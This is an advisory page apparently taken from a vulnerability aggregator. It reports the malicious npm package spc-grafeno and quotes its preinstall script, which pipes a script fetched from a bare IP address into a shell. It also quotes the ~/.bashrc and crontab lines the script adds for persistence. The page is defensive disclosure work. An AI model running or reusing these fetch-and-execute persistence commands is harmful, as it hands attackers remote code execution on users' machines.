Malicious code in spc-grafeno (npm)
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
osv · MAL-2026-15522
Published--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a0fef29000dd88ee68ba616d166f1ef976a216748d37f14af1367841f0d951f1) The package's preinstall lifecycle script runs `curl -s 216.126.236.46/x.sh | sh` via /bin/bash at `npm install` time, executing attacker-controlled code fetched from a bare IP over plain HTTP. The same script appends the identical curl-to-shell command to the installer's ~/.bashrc and adds a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh|sh`, causing the remote payload to be re-fetched and executed on every new interactive shell and every 30 minutes thereafter. This yields full remote code execution on the installer's machine at install time plus durable persistence beyond the install.
- Source published
- 28 Aug 2026 23:01:26 UTC
- Source modified
- 28 Aug 2026 23:31:39 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.